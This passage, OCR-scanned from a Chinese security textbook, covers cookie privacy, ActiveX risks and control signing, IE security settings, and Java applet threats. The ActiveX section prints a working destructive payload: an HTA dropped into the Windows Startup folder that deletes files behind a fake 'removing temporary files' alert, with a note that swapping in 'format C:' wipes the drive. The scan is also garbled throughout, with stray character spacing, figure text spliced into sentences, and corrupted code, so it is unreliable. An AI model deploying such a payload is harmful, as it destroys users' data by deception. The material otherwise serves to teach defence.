找 名 为 Cookie. txt 或 Magic Cookie(Mac 机 ) 的 文件 ,然后 利用 文本 编辑 器 和 字 处 理 软件 打 
开 查 看 即 可 。 

2. Cookie 的 安全 性 

HTTP Cookie 不 会 给 机 器 带 来 任何 伤害 ,比如 从 硬盘 中 获取 数据 .取得 E-mail 地 址 或 
窃取 某 些 私人 的 敏感 信息 等 。 实 际 上 ,Java 与 JavaScript 早期 的 运行 版 本 存在 这 方面 的 缺 
陷 , 但 这 些 安全 方面 漏洞 的 绝 大 部 分 已 经 被 修补 了 。 可 执行 属性 是 储存 于 一 个 文件 中 的 程 
序 代码 执行 其 功能 的 必要 条 件 ,而 Cookie 是 以 标准 文本 文件 形式 储存 的 ,因此 不 会 传递 任 
何 病 毒 , 所 以 从 普通 用 户 意义 上 讲 ,Cookie 本 身 是 安全 可 靠 的 。 

但 是 , 随 着 互联 网 的 迅速 发 展 , 网 上 服务 功能 的 进一步 开发 和 完善 ,利用 网 络 传递 的 资 
料 信 息 愈 来 愈 重 要 ,有 时 涉及 个 人 的 隐私 。 因 此 ,关于 Cookie 的 一 个 值得 关心 的 问题 并 不 
是 Cookie 对 你 的 机 器 能 做 些 什么 ,而 是 它 能 存储 些 什么 信息 或 传递 什么 信息 到 链接 的 服务 
器 中 。HTTP Cookie 可 以 被 用 来 跟踪 网 上 冲浪 者 访问 过 的 特定 站 点 ,尽管 站 点 的 跟踪 不 用 
Cookie 也 容易 实现 ,不 过 利用 Cookie 使 跟踪 到 的 数据 更 加 可 靠 些 。 由 于 一 个 Cookie 是 
Web 服务 器 放置 在 用 户 的 机 器 上 的 并 可 以 重新 从 Web 服务 器 获取 档案 的 唯一 的 标识 符 ， 
因此 Web 站 点 管理 员 可 以 利用 Cookie 建立 关于 用 户 及 其 浏览 特征 的 详细 档案 资料 。 当 用 
户 登录 到 一 个 Web 站 点 后 ,在 任 一 设置 了 Cookie 的 网 页 上 的 单 击 操作 信息 都 会 被 加 到 该 
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文档 中 。 文 档 中 的 这 些 信息 暂时 主要 用 于 站 点 的 设计 维护 ,但 是 ,档案 中 的 Cookie 信息 也 
存在 被 除 管理 员外 的 其 他 人 窃取 的 可 能 ,假如 这 些 Cookie 持 有 者 们 把 一 个 用 户 身份 链接 到 
他 们 的 Cookie ID ,利用 这 些 文档 资料 就 可 以 确认 用 户 的 名 字 及 地 址 。 此 外 , 某 些 高 级 的 
Web 站 点 (如 许多 网 上 商业 部 门 ) 实 际 上 采用 了 HTTP Cookie 的 注册 鉴定 方式 。 当 用 户 在 
站 点 注册 或 请 求 信息 时 ,经 常 输 入 确认 他 们 身份 的 登记 口令 、E-mail 地 址 或 邮政 地 址 到 
Web 页 面 的 窗 体 中 , 窗 体 从 Web 页 面 收 集 用 户 信息 并 提交 给 站 点 服务 器 ,服务 器 利用 
Cookie 持久 地 保存 信息 ,并 将 其 放置 在 用 户 机 上 ,等 待 以 后 的 访问 。 这 些 Cookie 内 骨 于 
HTML 信息 中 ,并 在 用 户 机 与 站 点 服务 器 间 来 回 传递 ,如 果 用 户 的 注册 信息 未 曾 加 密 , 将 是 
很 危险 的 。 因 此 ,许多 人 认为 Cookie 的 存在 对 个 人 隐私 是 一 种 潜在 的 威胁 。 

3. 拒绝 Cookie 的 方法 

如 果 感 到 不 安全 的 话 , 可 以 拒绝 Web 服务 器 设置 的 Cookie 信息 或 当 服 务 器 在 浏览 器 
上 设置 Cookie 时 显示 警告 窗口 , 它 将 告知 设置 的 Cookie 的 值 及 其 删除 所 花费 的 时 间 。 在 
Windows 下 拒绝 接受 Cookie, 可 以 删除 Cookie 文件 内 容 或 把 文件 属性 设置 为 只 读 和 隐 含 。 
在 浏览 器 下 拒绝 的 具体 方法 如 下 。 

(1) 在 IE 中 禁止 。 

@ 如 果 想 禁止 个 别 的 Cookie, 例 如 ,记录 双击 键 操作 的 Cookie, 可 以 通过 删除 相应 文件 
内 容 来 破坏 这 些 Cookie, 然 后 把 文件 属性 改 为 只 读 、 隐 藏 .系统 属 性 ,并 且 存 储 文件 。 当 登 
录 到 一 个 设置 了 这 种 Cookie 的 站 点 时 , 它 既 不 能 从 Cookie 读 取 任何 信息 ,也 不 会 传递 新 的 
信息 给 你 。 要 找到 保存 Cookie 的 文件 夹 。 根 据 使 用 的 Windows 版 本 不 同 ,保存 Cookie 的 
文件 夹 会 有 所 不 同 。 比 如 ,在 Windows XP 中 ,该 文件 夹 为 C\:Documents and Settings\ 用 
户 名 \Cookie。 

@ 通过 IE 浏览 器 总 体 提供 的 Cookie 的 安 | la Ina [i [i | 
全 设置 选项 ,具体 步骤 为 : 打开 浏览 器 ,选择 * 工 | 则 、- 
有 具 ”|“Internet 选项 ”命令 , 单 击 “隐私 ”标签 ,将 滑 一 一 图 止 所 有 cookie 
块 上 移 到 更 高 的 隐私 级 别 。 如 果 移 动 到 最 顶端 则 时 
是 选择 “阻止 所 有 Cookie”, 此 时 系统 将 阻止 所 有 | 
网 站 的 Cookie, 而 且 网 站 不 能 读 取 计算 机 上 已 有 
的 Cookie, 如 图 8-1 所 示 。 rp 

@ 通过 注册 表 禁 止 Cookie, 可 删除 注册 表 中 后 3 外 
的 如 下 条 目 : 本 打开 漳 出 窗口 阻止 程序 中 ) 

HKEY_LOCAL_MACHINE\ SOFTWARE \ 
Microsoft \ Windows \ CurrentVersion \ Internet 
Settings\Cache\Special Paths\Cookies, 然 后 重启 
动机 器 ,并 删除 Windows\cookies 目录 。 图 8-1 Internet 的 安全 配置 

(2) 在 Netscape 中 禁止 。 

在 Netscape 的 目录 下 有 一 个 cookies. txt 文件 (在 Mac 机 上 称 为 Magic cookie) ,可 以 
利用 文本 编辑 器 删除 文件 的 内 容 , 并 把 文件 重新 存 为 具有 只 读 、 隐 藏 .系统 属性 的 文件 ,然后 
运行 Windows 的 注册 表 编 辑 器 ,打开 HKEY_CURRENT_USER\Software\ Netscape\ 
Netscape Navigator\Cookies 主键 ,将 键 值 名 Cookie File 设置 为 Cookie File 二 NUL ,此 时 硬 
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导入 Q@ 高 级 中 默认 值 号 


盘 上 就 不 会 再 有 持续 保存 的 信息 了 。 上 述 方法 仅 是 禁止 了 长 期 设 在 硬盘 上 的 Cookie, 当 浏 
览 器 正在 运行 时 , 设 在 内 存 中 的 Cookie 仍然 未 被 禁止 ,但 关闭 浏览 器 后 因 其 无 法 将 Cookie 
写 入 硬盘 会 清除 掉 这 些 Cookie。 它 的 优点 是 在 浏览 器 运行 过 程 中 , 仍 可 以 交换 某 些 信息 。 
同样 也 可 以 设置 Cookie 时 显示 警告 窗口 。 

(3) 如 果 使 用 了 其 他 支持 Cookie 的 浏览 器 ,那么 一 种 较 好 的 方法 是 使 用 某 些 可 以 拒绝 
Cookie 的 工具 软件 。 

例如 : Internet Junkbuster 2. 0( 可 免费 下 载 ) 是 一 个 非常 好 的 选择 , 它 几 乎 能 用 于 所 有 
的 浏览 器 ,作为 一 个 代理 存在 于 浏览 器 和 Internet 网 之 间 , 可 以 拒绝 大 约 99% 的 Cookie。 
除了 访问 允许 设置 Cookie 的 站 点 外 ,在 使 用 浏览 器 时 它 可 以 禁止 所 有 Cookie 写 入 硬盘 中 。 


8.2.2 ActiveX 的 安全 问题 


1. 什么 是 ActiveX 

ActiveX 是 Microsoft 公司 提供 的 一 款 高 级 技术 , 它 可 以 像 一 个 应 用 程序 一 样 在 浏览 器 
中 显示 各 种 复杂 的 应 用 。 

ActiveX 是 一 种 技术 集合 , 它 使 得 在 因特网 上 的 交互 内 容 得 以 实现 。 利 用 ActiveX 技 
术 , 网 上 应 用 变 得 生动 活泼 ,伴随 着 多 媒体 效果 ,交互 式 对 象 和 复杂 的 应 用 程序 ,使 用 户 通过 
网 络 多 媒体 能 感受 和 CD 质量 媲美 的 音乐 。ActiveX 技术 是 一 种 集合 所 有 其 他 使 网 络 生动 
起 来 的 技术 的 黏合 剂 。 

它 的 主要 好 处 是 : 动态 内 容 可 以 吸引 用 户 ,开放 的 、 跨 平台 支持 可 以 运行 在 Macintosh， 
Windows 和 UNIX 操作 系统 上 。 

ActiveX 是 一 种 开放 平台 ,利用 它 可 以 使 开发 人 员 为 Internet 和 企业 网 开发 出 激动 人 
心 并 包含 动态 内 容 的 程序 。ActiveX 是 微软 为 Internet 设计 的 主要 新 技术 之 一 ,具体 功能 
阐述 如 下 。 

(1) ActiveX 控件 

ActiveX 控件 (以 前 称 为 OLE 控件 ) 指 的 是 能 够 被 插入 网 页 或 任何 称 做 控件 容器 库 的 
应 用 程序 之 中 的 对 象 。 例 如 ,按钮 .股票 计数 器 和 直方 图 。 

(2) ActiveX 文档 

ActiveX 文档 能 够 被 网 络 浏览 器 或 文档 浏览 器 显示 。 传 统 的 能 和 人 式 对 象 受 限 于 页 面 而 
代入 在 文档 之 中 ,利用 ActiveX 文档 可 以 在 整个 客户 区 域 中 以 框架 形式 显示 。 

(3) ActiveX 服务 器 框架 

用 户 能 够 扩展 网 络 服务 提供 的 定制 网 页 ,这 些 定制 网 页 的 内 容 可 以 来 源 于 数据 库 或 是 
一 个 在 服务 器 上 运行 的 程序 。 

(4) ActiveX 脚本 

JavaScript,VBScript 和 其 他 脚本 语言 可 以 连接 控件 ,在 网 页 中 加 入 交互 式 功 能 。 脚 本 
功能 可 以 将 处 理 过 程 从 服务 器 方 移 至 客户 方 。 例 如 ,表单 内 容 的 合法 性 检查 可 以 在 客户 方 
完成 。 

(5) HTML 扩展 

HTML 扩展 ,例如 ,对 象 标签 已 经 被 加 入 用 于 支持 控件 和 脚本 。 
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2. ActiveX 的 安全 问题 

要 想 安全 地 使 用 下 浏览 器 访问 Internet 并 杜绝 ActiveX 恶意 的 攻击 ,就 必须 首先 了 解 
使 用 ActiveX 的 攻击 方式 ,然后 才能 掌握 防范 ActiveX 攻击 的 方法 。 

因为 ActiveX 的 强大 功能 , 它 可 以 做 很 多 的 事情 , 它 的 危害 性 也 就 进一步 加 大 了 。 在 
ActiveX 推出 不 久 人 们 相继 发 现 了 ActiveX 的 许多 副作用 ,其 中 最 大 一 个 漏洞 是 用 户 通过 
浏览 器 浏览 一 些 带 有 恶意 的 ActiveX 控件 ,这 些 控 件 可 以 在 用 户 毫 不 知情 的 情况 下 执行 
Windows 系统 中 的 任何 程序 。 这 将 会 给 用 户 带 来 很 大 的 安全 风险 ,如 黑客 可 以 执行 format 
C: 命 令 来 格式 化 硬盘 。 试 想 一 下 ,如果 用 户 正 在 上 网 ,突然 屏幕 变 黑 ,指示 灯 狂 内, 硬盘 乱 
响 ,瞬间 用 户 的 数据 就 消失 了 ,会 给 用 户 带 来 多 大 的 损失 。 这 正 是 利用 了 Windows 的 一 个 
默认 的 ActiveX 控件 来 完成 的 。 下 面 的 一 个 例子 是 利用 该 控件 删除 硬盘 C:\test. txt 文件 ， 
代码 如 下 : 

<p> 

<object id="scr" classid="classid:06290BD5- 48AA- 11D2- 8432- 006008C3FBFC"> 

</object> 

</p> 

<script language=Javascript>{ 

scr.Reset (); 

scr.Path="C:\\Windows\\Start Menu\\Programs\\test.hta"; 

scr.Doc="<object id='wsh' 

classid='classid:f935DC22-1CF0-11D0- ADB9- 00C04FD58A0B'>< /object> 

<SCRIPT> 

wash.Run('start /m deltree C:/test.txt /Y'); 

alert ('IMPORTANT:Windows is removing unused temporary files。 '); 

</"F"SCRIPTS"} 

scr.write();} 


</script> 


下 面 做 一 个 试验 ,把 这 段 代 码 放 入 一 个 HTML 文件 中 ,在 IE 中 打开 ,没有 任何 动静 ， 
这 就 是 它 的 高 明 所 在 。 这 时 , 它 已 经 悄悄 地 藏 在 Windows 的 启动 设置 中 了 , 即 在 Windows 
的 启动 设置 “C:\\WINDOWS\\Start Menu\\Programs\\ 启 动 ”* 中 做 了 手脚 。 当 用 户 重启 
计算 机 时 , 它 会 弹出 一 个 警告 窗口 : IMPORTANT : Windows is removing unused temporary 
files(Windows 正在 删除 没 用 的 临时 文件 )。 这 是 一 个 骗局 , 它 真正 做 的 是 “删除 C;\test. txt 文 
件 ”( 这 是 中 文 版 Windows 的 代码 ,如果 是 英文 版 ,classid 后 面 的 参数 就 要 做 调整 ) ,如 果 用 
户 将 代码 中 deltree C:/test. txt /YY 改 成 format C:/autotest, 就 变 成 了 格式 化 C 盘 (非常 危 
险 ,不 要 试图 这 样 做 ) 。 

漏洞 影响 的 系统 包括 : Microsoft Windows 9x,Microsoft Windows NT/2000 等 系统 。 

3. 开发 ,发行 ActiveX 控件 的 安全 与 管理 

ActiveX 安全 设置 用 于 确保 ActiveX 控件 安全 地 与 用 户 的 计算 机 和 计算 机 数据 进行 交 
互 。 当 为 Internet 部 件 下 载 发 布 ActiveX 控件 时 ,必须 为 控件 设置 安全 级 别 。 否 则 ,如 果 签 
名 的 控件 发 行 后 损坏 了 用 户 的 计算 机 或 破坏 了 用 户 的 数据 ,开发 者 将 对 此 负 法 律 责任 。 

这 些 问题 可 以 通过 验证 代码 的 安全 性 并 做 出 相应 的 标记 来 解决 。Internet 部 件 下 载 有 
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两 级 安全 : 设置 初始 化 安全 性 和 设置 脚本 安全 性 (注意 : 安全 设置 只 适用 于 用 Internet 
Explorer 进行 下 载 的 部 件 ) 。 

(1) 设置 初始 化 安全 性 。 

当 将 控件 标记 为 设置 初始 化 安全 性 后 ,就 确保 了 无 论 在 初始 化 时 使 用 什么 数据 和 脚本 ， 
都 不 会 执行 有 损 于 最 终 用 户 计算 机 的 操作 。 一 个 设置 了 初始 化 安全 性 的 控件 不 会 写 人 或 修 
改 任何 Windows 注册 条 目 、. ini 文件 或 作为 初始 化 参数 结果 的 数据 文件 。 设 置 初始 化 安全 
性 对 控件 的 方法 .运行 时 的 属性 或 提供 给 脚本 书写 器 的 信息 的 安全 性 没有 要 求 。 

在 默认 情况 下 ,Internet Explorer 将 显示 一 条 警告 信息 ,并 且 不 下 载 没 有 标记 为 设置 脚 
本 安全 性 和 设置 初始 化 安全 性 的 控件 。 在 使 用 Visual Basic 打包 和 展开 向 导 为 Internet 发 
行 的 软件 打包 时 ,可 以 将 软件 指定 为 设置 初始 化 安全 性 和 设置 脚本 安全 性 。 

(2) 设置 脚本 安全 性 。 

当 将 控件 标记 为 设置 脚本 安全 性 时 ,就 确保 了 没有 任何 脚本 可 以 使 控件 对 用 户 的 计算 
机 或 数据 造成 破坏 。 标 记 为 设置 脚本 安全 性 的 控件 将 不 能 从 用 户 的 计算 机 中 获取 未 授权 的 
信息 ,也 不 能 对 系统 造成 破坏 。 

在 将 控件 标记 为 设置 脚本 安全 性 之 前 ,必须 验证 该 控件 不 执行 任何 非法 行为 或 不 允许 
可 能 造成 破坏 的 打开 文件 的 行为 。 一 般 来 说 ,能 够 自动 获得 用 户 计算 机 中 有 关 用 户 的 任何 
信息 并 将 其 展示 给 脚本 书写 器 的 控件 是 没有 设置 脚本 安全 性 的 。 这 种 看 似 无 害 的 行为 在 某 
些 国家 和 地 区 会 被 视 为 犯罪 。 

特别 地 ,控件 的 脚本 不 应 执行 以 下 操作 。 

。 插入 或 自 定 义 检索 脚本 的 注册 表 和 . ini 文件 信息 。 换 句 话 说 就 是 用 户 不 能 通过 脚 

本 来 指定 插入 哪个 注册 表 或 . ini 文件 信息 。 

。 插 入 或 检索 不 属于 控件 的 注册 表 和 . ini 文件 信息 。 

注意 : 控件 在 发 行 时 ,可 以 插入 和 检索 预先 定义 只 属于 控件 的 \ 用 于 帮助 控件 管理 其 内 
部 功能 的 注册 表 和 . ini 文件 信息 。 

。 用 脚本 指定 的 名 称 从 硬盘 驱动 器 上 读 取 文件 。 

安全 与 不 安全 操作 之 间 的 区 别 是 非常 细微 的 。 例 如 ,总 是 将 信息 写 人 自己 的 注册 表 条 
目的 ActiveX 控件 可 能 是 安全 的 ,而 允许 用 户 命 名 条 目的 控件 是 不 安全 的 。 创 建 临 时 文件 
时 不 使 用 任何 初始 化 或 脚本 值 的 控件 可 能 是 安全 的 ,但 允许 初始 化 时 或 通过 脚本 对 临时 文 
件 命名 的 控件 是 不 安全 的 。 

在 将 控件 标记 为 设置 脚本 安全 性 之 前 ,建议 最 好 创建 文档 来 记录 其 理由 ,对 此 应 给 予 同 
签 定 法 律 合 同一 样 的 关注 。 可 以 将 该 文档 包含 在 控件 的 . inf 文件 中 。 文 档 可 能 包括 以 下 
内 容 。 

@ 熟悉 源 代码 和 VBScript 的 专家 、 外 部 开发 者 对 控件 的 评论 。 

@ 一 张 列 出 控件 所 有 显露 的 方法 、 事 件 和 属性 的 列表 。 

@ 一 张 列 出 所 有 打开 的 文件 .使 用 的 API 调用 检索 或 写 入 的 信息 的 列表 。 

如 果 以 上 两 种 列表 的 元 素 之 间 有 任何 依赖 关系 或 数据 传送 , 则 控件 可 能 没有 设置 脚本 
安全 性 。 

(3) 安全 标志 的 局 限 性 。 

一 个 标记 为 设置 初始 化 安全 性 和 设置 脚本 安全 性 的 控件 在 使 用 时 并 不 一 定 总 是 安全 
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的 。 前 面 列 出 了 控件 作为 初始 化 或 脚本 的 结果 不 能 执行 的 操作 ,但 控件 在 其 他 时 间 仍 可 能 
执行 这 些 不 安全 操作 。 

例如 ,假设 创建 了 一 个 ActiveX 控件 ,该 控件 在 使 用 10 次 以 后 就 对 硬盘 进行 重新 格式 
化 。 该 操作 并 不 作为 初始 化 或 脚本 结果 发 生 , 因 此 可 以 将 该 控件 标记 为 安全 。 当 然 , 写 这 样 
一 个 控件 的 人 应 受到 与 写 病毒 的 人 同样 的 惩罚 。 

开发 者 ,而 不 是 最 终 用 户 或 HTML 作者 ,应 当 负 有 提供 足够 安全 保证 的 责任 。 如 果 作 
为 开发 者 没有 提供 足够 的 安全 保证 ,那么 他 就 应 承担 法 律 责 任 。 

软件 安全 的 最 终审 核 一 般 是 由 对 该 安全 问题 非常 熟悉 且 经 验 丰 富 的 开发 人 员 对 软件 独 
立 评审 后 完成 的 。 开 发 者 可 能 希望 将 有 关 评 审 的 信息 包含 在 下 载 文件 包 的 . inf 文件 中 。 

(4) 实现 数字 签名 。 

Internet Explorer 的 默认 安全 设置 要 求 任何 可 下 载 的 软件 在 下 载 之 前 必须 拥有 一 个 数 
字 签 名 。 数 字 签名 能 用 于 对 以 下 内 容 进 行 核实 。 

Q@ 核实 文件 的 内 容 

文件 有 可 靠 的 来 源 ,签名 提供 了 一 种 验证 文件 内 容 的 方法 ,该 方法 确保 该 文件 在 可 用 于 
下 载 后 未 被 改变 过 。 数 字 签 名 通过 标识 创建 软件 的 合法 实体 来 验证 来 源 。 当 在 可 下 载 的 软 
件 中 加 入 了 签名 ,发 行者 就 是 合法 实体 。 合 法 实体 应 该 为 签名 软件 被 下 载 时 或 运行 后 所 造 
成 的 损失 负责 。 

@ 应 被 签名 的 软件 

在 Windows 系统 上 ,有 5 种 类 型 的 文件 可 以 使 用 数字 签名 : . exe 文件 .cab 文件 .dll 
文件 .ocx 文件 和 . vbd 文件 。 如 果 提 供 这 些 类 型 的 文件 下 载 ,就 应 为 其 设置 数字 签名 。 

注意 : 通常 只 要 在 部 件 打 包 后 的 . cab 文件 中 进行 签名 就 足够 了 。 然 而 ,如 果 要 发 行 的 . 
ocx,. exe,. vbd 或. dl1 文件 没有 打包 ,在 . cab 文件 中 就 要 单独 为 其 进行 签名 。 

可 以 通过 向 认证 机 构 购买 证 书 来 获得 数字 签名 。 认 证 机 构 是 一 个 确认 身份 并 发 行 认证 
证 书 的 公司 。 证 书 中 包含 发 行者 的 数字 签名 ,是 发 行者 信用 的 验证 。 一 旦 出 现 问题 ,认证 机 
构 将 成 为 发 行者 身份 的 见证 人 。 

在 使 用 数字 签名 时 要 使 用 Authenticode 技术 。Authenticode 的 目的 是 通过 建立 责任 
制 来 阻止 有 害 代码 的 发 行 。Authenticode 将 验证 发 布 代码 的 发 行人 的 身份 给 要 下 载 这 份 代 
码 的 Internet 最 终 用 户 。 此 外 ,Authenticode 可 以 为 用 户 确保 该 代码 在 签名 后 未 被 改动 。 

Authenticode 技术 来 源 于 公开 密 钥 签名 技术 。 该 技术 使 用 了 密 钥 对 来 加 密 数据 。 密 角 
对 也 用 于 文件 的 加 密 和 解密 。 在 公开 密 钥 技术 中 ,公用 密 钥 和 私 用 密 钥 确保 了 文件 的 私有 
性 。 公 用 密 钥 用 于 加 密 数据 ,而 私 用 密 钥 则 用 来 解密 数据 。 尽 管 该 技术 用 于 保护 诸如 电子 邮 
件 之 类 的 小 文件 是 很 成 功 的 ,但 是 对 于 大 文件 ,这 一 过 程 却 是 非常 消耗 时 间 的 。Authenticode 
正 是 这 种 技术 的 一 种 改进 形式 , 专 供 大 文件 使 用 。 

以 下 是 Authenticode 过 程 中 的 一 些 步骤 。 

。 在 开发 者 对 文件 签名 时 ,要 计算 一 个 哈 硕 数 。 哈 希 数 表示 文件 的 总 字 节 长 度 。 一 般 

可 以 选用 不 同 的 消息 摘要 技术 ,X. 509 标准 要 求 至 少 提供 MD5 和 SHA-1。 该 数字 
用 私 用 密 钥 加 密 并 插入 到 文件 中 。 然 后 ,开发 者 将 文件 进行 打包 并 将 其 部 署 到 Web 
服务 器 上 。 

。 当 用 户 下 载 或 安装 文件 时 ,他 们 的 计算 机 计算 第 二 个 哈 希 数 , 并 同 原先 的 进行 比较 。 
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如 果 数 字 相 同 , 则 文件 的 内 容 就 得 到 了 验证 。 
浏览 器 使 用 公用 密 钥 来 决定 软件 开发 者 的 身份 和 提供 数字 签名 的 认证 机 构 。 
。 认证 机 构 核 实 开发 者 的 身份 ,并 将 包含 经 私 用 密 钥 加 密 的 开发 者 名 字 的 证 书 授予 开 
发 酒 ， 
浏览 器 使 用 公用 密 钥 将 文件 解密 。 然 后 进行 安装 。 
4. IE 浏览 器 的 ActiveX 的 配置 
在 正中 ,也 可 以 对 ActiveX 的 使 用 进行 限制 。 具 体 步骤 如 下 。 
(1) 打开 IE 浏览 器 。 
(2) 选择 “工具 ”菜单 中 的 “Internet 选项 ”命令 ;在 打开 的 对 话 框 中 , 单 击 “ 安 全 ”标签 。 
(3) 单 击 选项 卡 上 方 白色 编辑 框 中 的 Internet 图 标 (地 球 标志 ) ,代表 要 设置 整个 IE 的 
安全 设置 。 | 安全 设 训 Tne KK 


(4) 单 击 选项 卡 下 方 的 “ 自 定义 级 别 ”按钮 ，| 主 


出 现 安全 设置 对 话 框 。 国 wee mt 
(5) 拖 动 对 话 框 中 的 垂直 滚动 条 ,直到 出 现 8 朵 
人 让 全 让 控件 和 插 件 »” 设 置 选项 如 图 8-2 所 示 , 司 nt ActiveX 控件 执行 脚本 * 
图 8-2 中 显示 了 ActiveX 的 5 个 设置 ,具体 8 好 
恒 对 未 标记 为 可 安全 执行 脚本 的 ActiveX 控件 初始 化 并 打 
内 容 如 下 。 要 用 时 和 
@ 对 标记 为 可 安全 执行 脚本 的 ActiveX 控 
件 执行 脚本 | rr 


这 个 设置 是 为 标记 为 安全 执行 脚本 的 ee 
ActiveX 控件 执行 脚本 设置 执行 的 策略 。 所 谓 
“对 标记 为 可 安全 执行 脚本 的 ActiveX 控件 执行 | 
脚本 ”, 就 是 指 具 备 有 效 的 软件 发 行商 证 书 的 软 图 8-2 ActiveX 控件 的 安全 设置 
件 。 该 证 书 可 说 明 是 谁 发 行 了 该 控件 而 且 它 没 
有 被 算 改 。 知 道 了 是 谁 发 行 的 控件 ,用 户 就 可 以 决定 是 否 信任 该 发 行商 。 控 件 包含 的 代码 
可 能 会 意外 或 故意 损坏 用 户 的 文件 。 如 果 控 件 未 签名 ,那么 用 户 将 无 法 知道 是 谁 创建 了 它 
以 及 能 否 信 任 它 。 指 定 希望 以 何 种 方式 处 理 具 有 潜在 危险 的 操作 、 文 件 、 程 序 或 下 载 内 容 ， 
请 选择 下 面 的 某 项 操作 。 

。 如 果 和 希望 在 继续 之 前 给 出 请 求 批 准 的 提示 ,请 单 击 “ 提 示 ”。 

。 如 果 和 希望 不 经 提示 并 自动 拒绝 操作 或 下 载 ,请 单 击 “ 禁 用 ”。 

。 如 果 和 希望 不 经 提示 自动 继续 ,请 单 击 “ 启 用 ”。 

@ 对 没有 标记 为 安全 的 ActiveX 控件 进行 初始 化 和 脚本 化 

这 个 设置 是 为 没有 标记 为 安全 执行 脚本 的 ActiveX 控件 执行 脚本 设置 执行 的 策略 。 
IE 默认 设置 它 为 “禁用 ”, 用 户 最 好 不 要 改变 它 。 

@ 下 载 未 签名 的 ActiveX 控件 

这 个 设置 是 为 未 签名 的 ActiveX 控件 的 下 载 提 供 策略 。 未 签名 的 意思 和 没有 标记 为 安 
全 执行 脚本 的 解释 是 一 样 的 。IE 默认 设置 它 为 "禁用 ”, 用 户 最 好 不 要 改变 它 。 

@ 下 载 已 签名 的 ActiveX 控件 

该 设置 是 为 已 签名 的 ActiveX 控件 的 下 载 提供 策略 。 默 认 设 置 为 “提示 ”, 最 好 不 要 自 
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行 改 变 。 

@ 运行 ActiveX 控件 和 插件 

这 个 设置 是 为 了 运行 ActiveX 控件 和 插件 的 安全 。 这 是 最 重要 的 设置 ,但 许多 站 点 上 
都 使 用 ActiveX 作为 脚本 语言 ,所 以 建议 将 它 设 置 为 “提示 ”。 这 样 当 有 ActiveX 运行 时 ,IE 
就 会 提醒 用 户 ,用 户 可 以 根据 当时 所 处 的 网 站 ,决定 是 否 使 用 它 提供 的 ActiveX 控件 。 例 
如 , 像 访 问 新 浪 这 样 的 网 站 ,用户 当然 可 以 相信 它 , 从 而 可 以 放心 地 运行 它 提供 的 控件 。 


8.2.3 Java 的 使 用 与 安全 


1. Java 语言 的 特点 

对 于 一 个 经 常 上 网 的 用 户 来 说 ,使 用 Java 语言 是 一 件 很 平常 的 事 , 尤 其 在 聊天 室 中 ,网 
友 们 经 常用 Java 语言 和 其 他 人 开玩笑 。 但 是 Java 语言 如 果 被 黑客 利用 ,也 会 造成 很 大 的 
损失 。 

Java 语言 的 诞生 将 对 整个 计算 机 产业 产生 深远 的 影响 ,对 传统 的 计算 模型 提出 了 新 的 
挑战 。Java 语言 的 特点 : 简单 .面向 对 象 、 分布 式 、 解 释 执 行 、 安 全 、 体 系 结构 中 立 、 可 移植 、 
高 性 能 、 多 线程 以 及 动态 性 。 

它 的 主要 特点 介绍 如 下 : 

(1) 安全 性 。 

用 于 网 络 、 分 布 环 境 下 的 Java 必须 要 防止 病毒 的 人 侵 。Java 不 支持 指针 ,一 切 对 内 存 
的 访问 都 必须 通过 对 象 的 实例 变量 来 实现 ,这 样 就 防止 程序 员 使 用 “特洛伊 ”木马 等 欺骗 手 
段 访 问 对 象 的 私有 成 员 , 同 时 也 避免 指针 操作 中 容易 产生 的 错误 ,这 样 黑客 就 无 法 通过 网 
页 中 的 Java 进行 攻击 了 (这 里 所 说 到 的 Java 网 页 进攻 ,只 是 利用 了 浏览 器 或 操作 系统 的 漏 
洞 ,并 不 是 Java 本 身 的 错误 ) 。 

(2) Java Applet 的 应 用 。 

Java 语言 的 特性 使 它 可 以 最 大 限度 地 利用 网 络 。Applet 是 Java 的 小 应 用 程序 , 它 是 
动态 .安全 、 跨 平台 的 网 络 应 用 程序 。Java Applet 可 以 认 入 HTML 语言 ,通过 主页 发 布 到 
Internet。 当 网 络 用 户 访问 服务 器 的 Applet 时 ,这 些 Applet 在 网 络 上 进行 传输 ,然后 在 支 
持 Java 的 浏览 器 中 运行 。 由 于 Java 语言 的 机 制 ,用户 一 旦 载 入 Applet ,就 可 以 生成 多 媒体 
的 用 户 界面 或 完成 复杂 的 应 用 。 

(3) Java 是 一 种 平台 无 关 语 言 。 

Java 程序 编译 后 ,并 不 真正 生成 可 执行 代码 ,而 是 生成 字 节 代码 ,使 用 时 运行 在 Java 虚 
拟 计 算 机 (实际 上 是 一 个 解释 器 ) 上 。 所 以 ,一 个 操作 系统 平台 只 要 提供 Java 虚拟 计算 机 ， 
Java 程序 就 可 以 在 上 面 运行 。 从 理论 上 讲 ,Java 程序 可 以 运行 在 所 有 的 操作 系统 平台 上 ， 
从 根本 上 解决 了 Internet 的 异 构 问 题 。 同 时 这 也 说 明了 Java 程序 可 以 在 任何 一 个 操作 系 
统 中 运行 ,如 果 黑 客 使 用 它 , 就 可 以 在 计算 机 世界 中 通行 无 阻 了 。 由 于 Java 可 在 多 种 操作 
平台 上 运行 ,因此 恶意 的 Applet 只 要 在 其 中 一 种 操作 系统 (例如 Solaris UNIX) 上 攻击 成 
功 ,在 攻击 其 他 操作 系统 (例如 Windows XP) 时 也 能 得 从。 因此 ,Java 在 带 来 应 用 程序 跨 平 
台 执 行 的 同时 ,也 带 来 了 恶意 Applet 的 这 种 跨 平台 攻击 的 可 能 性 。 

(4) Java 可 以 和 HTML 无 颖 的 集成 。 

Java 可 以 把 静态 的 超 文本 文件 变 成 可 执行 的 应 用 程序 , 极 大 地 增强 了 超 文本 的 可 交互 
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操作 性 。 因 此 ,有 些 黑客 将 Java 小 程序 加 入 在 网 页 中 ,但 是 一 般 用 户 是 看 不 到 也 察觉 不 
到 的 。 

在 用 户 浏览 网 页 时 ,这 些 黑客 的 Java 攻击 程序 就 已 经 侵入 到 用 户 的 计算 机 中 去 了 。 所 
以 在 网 络 上 ,不 要 随便 访问 信用 度 不 高 的 站 点 ,以 防止 黑客 的 入 侵 。 

2. Java 攻击 原理 

Java 在 给 人 们 带 来 好 处 的 同时 ,也 带 来 了 潜在 的 安全 隐患 。 它 使 Java Applet 的 设计 
者 有 机 会 人 侵 他 人 的 计算 机 。 实 事 求 是 地 讲 , 这 个 世界 上 没有 一 个 计算 机 系统 是 百分之百 
安全 的 ,但 由 于 现在 Internet 和 Java 在 全 球 应 用 得 越 来 越 广 泛 ,因此 人 们 在 浏览 Web 页面 
的 同时 也 会 同时 下 载 大 量 的 Java Applet, 就 使 得 Web 用 户 的 计算 机 面临 的 安全 威胁 比 以 
往 任 何 时 候 都 要 大 。 

